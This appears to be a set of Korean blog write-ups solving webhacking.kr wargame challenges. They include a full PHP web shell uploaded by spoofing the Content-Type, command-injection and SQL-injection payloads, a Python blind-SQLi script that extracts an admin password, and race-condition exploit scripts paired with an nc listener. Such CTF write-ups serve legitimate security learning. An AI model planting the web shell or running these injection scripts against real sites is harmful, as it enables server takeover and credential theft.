문제 소스를 보면 다음과 같습니다.

<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>


위의 소스에서 $id에 들어가는 값은 5글자로 잘리게 되며, system 함수 내로 그대로 들어가는 것을 볼 수 있습니다.

여기서 ls를 실행하라고 하는데, 어떻게 하는 게 좋을까 고민해보았습니다.


일단 싱글쿼터로 닫아주고, echo까지는 끊어줘야 하니 세미콜론 넣어주고, ls 넣고, system 함수가 오류가 나면 안 되니 싱글쿼터를 더 넣어주니 이미 5글자더군요.


그대로 답을 입력해보니 플래그가 나왔습니다. ㅎㅅㅎ..







'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08

문제에서 바로 webshell을 업로드하라고 합니다.

파일을 업로드하려고 하면 php 파일이든 어떤 파일이든 일단은 wrong type을 출력했습니다.


올바른 타입은 확장자로 필터링하는 게 아닌가 하여 쭉 업로드해보는 과정에서 .raw 파일은 업로드가 가능하였습니다.

raw 파일은 Content-Type이 image/raw이기 때문에 가능한 것으로 보입니다.

image 파일에 대한 Content-Type은 필터가 이루어지지 않은것으로 보아 해당 타입으로 PHP 소스를 업로드해보면 Webshell이 잘 업로드되는 것을 확인할 수 있습니다.



업로드된 웹쉘로 파일을 읽어보면 플래그가 나옵니다.


제 코드는 아니지만 제가 기본적으로 활용하는 Simple PHP Webshell 코드입니다.


<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html>
<!-- By Artyum (https://github.com/artyuum) -->
<head>

    <meta charset="utf-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css">

    <title>Web Shell</title>

    <style>
        h2 {
            color: rgba(0, 0, 0, .75);
        }
        pre {
            padding: 15px;
            -webkit-border-radius: 5px;
            -moz-border-radius: 5px;
            border-radius: 5px;
            background-color: #ECF0F1;
        }
        .container {
            width: 850px;
        }
    </style>

</head>

<body>

    <div class="container">

        <div class="pb-2 mt-4 mb-2">
	    <h1>PHP Shell</h1>
            <h2> Execute a command </h2>
        </div>

        <form method="POST">
            <div class="form-group">
                <label for="cmd"><strong>Command</strong></label>
                <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required>
            </div>
            <button type="submit" class="btn btn-primary">Execute</button>
        </form>

<?php if ($cmd): ?>
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
<?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?>
        </pre>
<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre><small>No result.</small></pre>
<?php endif; ?>
    </div>

</body>

</html>



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07

파일을 다운로드 하는 Request 패킷을 보면 다음과 같습니다.

GET https://webhacking.kr/challenge/web-20/?down=dGVzdC50eHQ= HTTP/1.1

Host: webhacking.kr

Connection: keep-alive

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Sec-Fetch-User: ?1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Referer: https://webhacking.kr/challenge/web-20/

Accept-Encoding: gzip, deflate, br

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,lt;q=0.6

Cookie: PHPSESSID=peaoijko3v686g9tshr2s7fs44 


Base64로 디코딩 해보면 다음과 같습니다.

여기서 flag.docx를 클릭으로는 다운로드 할 수 없습니다.

HTML 코드를 보면 그냥 alert 함수를 실행시키는 Javascript 코드밖에 없습니다.


그러면 flag.docx 파일을 base64로 인코딩하여 Request해보면 flag 파일을 얻을 수 있습니다.





'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
<?php
  include "../../config.php";
  include "./inc.php";
  if($_GET['view_source']) view_source();
  error_reporting(E_ALL);
  ini_set("display_errors", 1);
?><html>
<head>
<title>Challenge 41</title>
</head>
<body>
<?php
  if(isset($_FILES['up']) && $_FILES['up']){
    $fn = $_FILES['up']['name'];
    $fn = str_replace(".","",$fn);
    $fn = str_replace("<","",$fn);
    $fn = str_replace(">","",$fn);
    $fn = str_replace("/","",$fn);

    $cp = $_FILES['up']['tmp_name'];
    copy($cp,"./{$upload_dir}/{$fn}");
    $f = @fopen("./{$upload_dir}/{$fn}","w");
    @fwrite($f,$flag);
    @fclose($f);
    echo("Done~");
  }
?>
<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>

위의 소스코드를 보면 5번 라인에 Error에 대한 리포트를 출력하는 것을 볼 수 있습니다.

또한 flag 값은 우리가 업로드한 파일 이름으로 작성되는 것을 확인할 수 있습니다.

그런데, 우리가 업로드한 파일은 특정 $upload_dir에 있는 것으로 확인되었는데, 이 디렉토리는 알려주지 않습니다.


그러면 고의적으로 5번 라인에서 발생하는 에러를 통해 에러 메시지에서부터 어느정도 정보를 얻을 수 있을 것 같습니다.

에러를 발생시키기 위해서는 적절하지 않은 입력만큼 좋은 것이 없겠죠!


upload시 filename에 입력할 수 있는 최대 이름의 길이를 알아내보았는데, 파일 이름의 최대 길이를 알아내보니 다음과 같습니다.

뭐 일단 위와 같이 255 길이라고 하니 파일 이름을 엄청 길게 입력해보았습니다.


------WebKitFormBoundaryY1Y6GBYxaviuw2QG

Content-Disposition: form-data; name="up"; filename="kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file"

Content-Type: application/octet-stream


------WebKitFormBoundaryY1Y6GBYxaviuw2QG--


업로드 패킷은 위와 같이 전송되었습니다.

파일 이름 길이는 몇일지는 모르지만 엄청 길게 해보았습니다.


그랬더니 다음과 같은 Response가 날아왔습니다.

<html>
<head>
<title>Challenge 41</title>
</head>
<body>
<br />
<b>Warning</b>:  copy(./4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file): failed to open stream: File name too long in <b>/var/www/html/challenge/web-19/index.php</b> on line <b>21</b><br />
Done~<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>


위와 같이 업로드 경로가 나왔습니다.

이제 여기에 업로드한 파일 이름으로 들어가보도록 하면, 플래그가 입력되어 있을 것입니다.

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06

위의 페이지에서 이것저것 공격을 트라이 해보고 WHERE 절을 분석해본 결과,

다음과 같은 WHERE 절이 아닐까 하는 뇌피셜을 작성해봅니다.


SELECT 뭐시기 FROM 뭐시기 WHERE pw='비밀번호' and no=번호 and id='아이디' 


공격을 시도했을 때 admin 페이지로 들어가지는 경우는 다음과 같습니다.


 

 GET 공격 쿼리

https://webhacking.kr/challenge/web-29/?no=0||no=2&id=admin&pw=guest


저기서 pw는 따로 영향을 받지 않고 id에서 영향을 받은 것으로 확인되었습니다.

이제 공격을 수행하고 발견한 admin 페이지에서 공격을 수행해봐야 할 거 같은데..


admin 페이지는 다음과 같습니다.



여기서 test라는 값을 입력하니 auth라는 GET 파라미터로 값을 넘기는 것을 확인하였습니다.

저 입력 페이지 외에는 따로 알 수 있는 정보가 없습니다.


당장 이 페이지에서는 공격이 따로 불가능한 것 같습니다.

admin password는 입력할 수 있는 값과 결과가 한정적이기 때문에 GET 메소드에서 공격을 수행하여 Blind SQLi를 수행해야 할 것 같습니다.


일단 GET 메소드에서 공격 쿼리에 어떤 걸 사용할 수 있는지 대략적으로 알아본 결과는 다음과 같습니다.


 

 Filtered

%20, limit, 싱글쿼터 등


 

 Not Filtered

%09, %0a, %0d, UNION, SELECT 등


여기서 여러가지 공격을 시도해보고 다음과 같이 알아내보았습니다.


 

 공격 쿼리

no=0||no=2&&id=0x61646d696e&&알아내고자 하는 조건문

- no=0||no=2&&id=0x61646d696e&&length(pw)=??

- no=0||no=2&&id=0x61646d696e&&(BLIND SQL INJECTION 공격 쿼리)


위와 같은 값을 이용하여 공격을 수행할 수 있었습니다.





import sys
import requests
import urllib

# no -------------------------
# %20       filtered
# limit     filtered
# 
# %09       not filtered
# %0a       not filtered
# %0d       not filtered

# '         filtered <-- Failure(일반 실패한 것처럼 보임... 근데 아님)

# id -------------------------
# union     not filtered
# select    not filtered

requests.packages.urllib3.disable_warnings()
sess    = requests.session()
URL     = 'https://webhacking.kr/challenge/web-29/?no=%(no)s&id=%(id)s&pw=%(pw)s'
headers = { 'Cookie': 'PHPSESSID=q0gle6aih4e7i95ted71ipo0cf'}
proxies = { 'http'  : 'http://localhost:8888',
            'https' : 'http://localhost:8888' }

no  = "0||no=2&&id=0x61646d696e&&" # admin in hex
id  = "sfsdfsd"
pw  = "sdfsdf"

passLen = 0

for i in range(1,100):
    url_payload = { 'no'    : urllib.parse.quote(no+"length(pw)=%d" % i + "#"),
                    'id'    : urllib.parse.quote(id),
                    'pw'    : urllib.parse.quote(pw)}

    res         = sess.get( url     =URL % url_payload,
                            headers =headers,
                            proxies =proxies,
                            verify  =False)

    if 'Fail' in res.text:
        pass
    elif 'admin' in res.text:
        passLen = i
        break

print("[+] Password Length Found : %3d" % passLen)

bitLen = 8
passwd = ""

for j in range(1, passLen+1):

    tmpBit = ""

    for i in range(1,bitLen+1):
        url_payload = { 'no'    : urllib.parse.quote(no+"substr(lpad(bin(conv(hex(substr(pw,%d,1)),16,10)),8,0),%d,1)=1#" \
                                                         % (j, i)),
                        'id'    : urllib.parse.quote(id),
                        'pw'    : urllib.parse.quote(pw)}

        res         = sess.get( url     =URL % url_payload,
                                headers =headers,
                                proxies =proxies,
                                verify  =False)
        if 'Fail' in res.text:
            tmpBit += "0"
        elif 'admin' in res.text:
            tmpBit += "1"

    print("[-] tmpBit : %s" % tmpBit )
    passwd += chr(int(tmpBit, 2))


print("[+] Password Found : %s" % passwd)

print('[+] End ')



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Chellenge 39</title>
</head>
<body>
<?php
  $db = dbconnect();
  if($_POST['id']){
    $_POST['id'] = str_replace("\\","",$_POST['id']);
    $_POST['id'] = str_replace("'","''",$_POST['id']);
    $_POST['id'] = substr($_POST['id'],0,15);
    $result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}"));
    if($result[0] == 1){
      solve(39);
    }
  }
?>
<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
<a href=?view_source=1>view-source</a>
</body>
</html>


SQLi 문제인 거 같습니다.

여기서 문제를 볼 때 id에 넣은 값 중에 싱글쿼터, 역슬레쉬는 str_replace되는 것을 볼 수 있습니다.

그리고 입력하는 값은 length가 14보다 작아야 하며, 어차피 substr으로 잘리게 되네요.


이러한 조건을 우회하고 SQLi를 수행해야 합니다.


그런데 자세히 보면 SQL 문을 보면 맨 뒤에 싱글쿼터가 하나 덜 쓰여져있는 걸 볼 수 있습니다.

그러면 싱글쿼터를 잘 활용하면 될 거 같습니다.


여기서 트릭의 요소로써 활용될 수 있는 게 substr입니다.

0,15라고 하면 15번째까지 짜른다는 의미입니다. 여기서 replace할 때 싱글쿼터는 두 개의 싱글쿼터로 변환되니, 이를 이용하여 16번째에 싱글쿼터가 오도록하면 잘라낼 수 있을 것 같습니다.


혹시 guest가 있을까 하고 값을 입력해봤는데 guest가 있더군요..

MySQL에서는 값에 띄어쓰기가 있으면 띄어쓰기를 제외한 값을 비교합니다.


예를들면 where절에 'guest          ' 라는 값과 'guest'라는 값을 넣었을 때, 같은 값으로 받아들입니다.

guest + 띄어쓰기 9번 + 싱글쿼터 를 하게 되면 문제가 풀리게 됩니다.







'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06


위와 같은 문제가 나타나는데 따로 뭐라 입력해도 따로 출력이 변하거나 하지는 않습니다.

Response로 오는 것도 입력 전의 값과 동일합니다.


<html>
<head>
<title>Challenge 38</title>
</head>
<body>
<h1>LOG INJECTION</h1>
<form method=post action=index.php>
<input type=text name=id size=20>
<input type=submit value='Login'>
</form>
<!-- <a href=admin.php>admin page</a> -->
</body>
</html>


소스를 보니까 위와 같이 admin 페이지가 따로 있었다고 주석이 있습니다.

admin.php로 들어가니 다음과 같은 화면이 나옵니다.


아이피가 너무 많이 나와서 가렸습니다.

위의 문제에서는 admin으로 로그인한 로그를 남기면 되는 것 같습니다.


제가 kkamikoon으로 로그인했던 값도 아래에 나타나 있습니다.


여기서 로그를 남길 때 개행문자가 통하는지 확인해보았더니 %0d, %0a가 모두 통하는 것을 확인하였습니다.

그러면 값이 다음과 같이 나옵니다.


[내 아이피]:[로그인창에서 입력한 값]



여기서 %0d%0a를 Parameter Tampering을 통해 값을 입력해보면 위와 같이 나오게 됩니다.

입력한 값 : id=kkamikoon%0d%0anextline!!


이제 이를 이용하여 kkamikoon%0d%0a[내 아이피]:admin 이렇게 입력하면 답이 나오게 됩니다.






'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31

해당 문제는 레이스컨디션 문제입니다.


소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 37</title>
</head>
<body>
<?php
  $db = dbconnect();
  $query = "select flag from challenge where idx=37";
  $flag = mysqli_fetch_array(mysqli_query($db,$query))['flag'];
  $time = time();

  $p = fopen("./tmp/tmp-{$time}","w");
  fwrite($p,"127.0.0.1");
  fclose($p);

  $file_nm = $_FILES['upfile']['name'];
  $file_nm = str_replace("<","",$file_nm);
  $file_nm = str_replace(">","",$file_nm);
  $file_nm = str_replace(".","",$file_nm);
  $file_nm = str_replace("/","",$file_nm);
  $file_nm = str_replace(" ","",$file_nm);

  if($file_nm){
    $p = fopen("./tmp/{$file_nm}","w");
    fwrite($p,$_SERVER['REMOTE_ADDR']);
    fclose($p);
  }

  echo "<pre>";
  $dirList = scandir("./tmp");
  for($i=0;$i<=count($dirList);$i++){
    echo "{$dirList[$i]}\n";
  }
  echo "</pre>";

  $host = file_get_contents("tmp/tmp-{$time}");

  $request = "GET /?{$flag} HTTP/1.0\r\n";
  $request .= "Host: {$host}\r\n";
  $request .= "\r\n";

  $socket = fsockopen($host,7777,$errstr,$errno,1);
  fputs($socket,$request);
  fclose($socket);

  if(count($dirList) > 20) system("rm -rf ./tmp/*");
?>
<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>


여기서 15번 ~ 17번 라인을 보면 해당 시간에 맞는 timestamp의 파일을 생성하는 것을 볼 수 있습니다.

그리고 26번 ~ 30번 라인을 보면 파일을 생성하자마자 우리가 입력한 파일을 생성해주는 것을 볼 수 있습니다.

그리고 생성된 timestamp 이름의 파일의 내용을 file_get_contents 함수를 통해 가져와서 파일을 읽어옵니다.


그리고 41번 ~ 42번 라인을 보면 읽어온 값을 host에 넣고 GET 메소드로 요청을 보내는 것을 볼 수 있습니다.


ㅂㄷㅂㄷ 너무나 레이스 컨디션임을 잘 알려주고 있지만, 생각보다 짜증나는 문제가 아닐 수 없습니다.


일단 nc로 우리 서버에 7777포트를 열어주도록 합니다.


nc -lvp 7777


그리고 레이스 컨디션을 위한 두 개의 소스를 작성하여 실행시킵니다.

해당 문제의 레이스컨디션을 위해서는 두 가지의 소스코드가 필요합니다.


 

 파일 업로드 소스


#!/bin/python3
import requests
import time

requests.packages.urllib3.disable_warnings()
#sess        = requests.session()
URL         = 'https://webhacking.kr/challenge/web-18/'
headers     = { 'Cookie': '내 세션 값'}
proxies     = { 'http'  : 'http://localhost:8888',
                'https' : 'http://localhost:8888' }

while True:
    for i in range(0,3):
        file_name   = "tmp-" + str(int(time.time())+i)

        with open(file_name, 'w') as file_w:
            file_w.write("내 서버 아이피")

        files       = { 'upfile'        : open(file_name, 'rb')}

        res         = requests.post(url=URL + 'index.php',
                                    headers=headers,
                                    files=files,
                                    verify=False)

        print("[+] File Name : %s" % file_name)
        #print("[+] Result    : %s" % res.text)


위의 소스코드는 파일을 생성하여 내 아이피값이 tmp-timestamp 값에 입력되도록 계속해서 반복하여 업로드하는 소스입니다.

또한 해당 소스에서는 혹시 몰라 timestamp ~ timestamp+2까지의 값을 미리 업로드를 하도록 하였습니다.(혹시 몰라서)

그리고 proxies 는 선택사항이니 지워주셔도 무방합니다.



 

 접속하는 소스


import requests
import time

requests.packages.urllib3.disable_warnings()
#sess        = requests.session()
URL         = 'https://webhacking.kr/challenge/web-18/'
headers     = { 'Cookie': '내 세션'}
proxies     = { 'http'  : 'http://localhost:8888',
                'https' : 'http://localhost:8888' }

while True:
    for i in range(0,3):
        file_name   = "tmp-" + str(int(time.time())+i)        
        check       = requests.get(url=URL+'tmp/'+file_name,
                                   headers=headers,
                                   verify=False)

        print("[+] Check     : %s" % check.text)


위의 두 가지 소스를 동시에 실행시키면 nc로 켜둔 서버에 값이 들어갈 것입니다.






'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31

문제에서


While editing index.php file using vi editor in the current directory, a power outage caused the source code to disappear.

Please help me recover.


라고 나와있습니다.


위의 글을 해석해보면, vi 에디터로 index.php 파일을 수정하는 도중 파워가 꺼져서 망했다고 하며, 혹시 이를 복구해줄 수 있느냐고 하는 문장입니다.

vi 에디터로 파일을 수정하게 되면 해당 파일은 .파일이름.php.swp로 복구 파일이 있게 됩니다.


.index.php.swp 파일을 확인해보면 플래그가 나오게 됩니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31

+ Recent posts